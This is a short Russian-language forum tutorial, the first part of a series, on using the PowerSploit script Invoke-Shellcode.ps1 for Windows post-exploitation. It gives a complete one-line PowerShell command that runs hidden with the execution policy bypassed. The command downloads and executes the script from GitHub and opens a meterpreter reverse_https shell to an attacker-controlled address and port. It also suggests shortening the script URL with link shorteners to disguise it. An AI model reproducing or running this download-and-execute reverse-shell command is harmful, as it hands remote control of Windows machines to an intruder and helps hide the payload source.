Часть 1
Следующая часть
Все части
Приветствую Вас колеги. Как Вы уже поняли речь пойдет о знакомствах с базовыми возможностями
PowerShell и области применения хакерских техних.
И начнем мы пожалуй сегодня с использования скриптов
PowerSploit -( скрипты написанные на
PowerShell для пост эксплуатации
Windows систем)
Первым примером использования PowerSploit - это будет пример простого и быстрого получения метерпретер сессии на примере скрипта Invoke-Shellcode.ps1
Для начало сходим на гитхаб по ссылке:
Код:
Код:
https://github.com/cheetz/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1
Жмакним на клавишу
RAW - что бы получить ссылку для скачивания в чистом виде
Код:
Код:
https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1
Эту ссылку мы потом используем для нашей команды PowerShell,а пока можно в скрипте в комментариях увидеть опциональные параметры и примеры для его запуска:
Копируем урл нашего скрипта и готовим следующую команду:
Код:
Код:
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.137.137 -Lport 1337 -Force
Собственно говоря и все)
Запускаем данную команду и к нам прилетает
метерпретер сессия)
Можно еще для удобства сократить урл к скрипту на гитхабе через сервисы сокращения ссылок)
Всем спасибо) Продолжения следует)
Следующая часть
Все части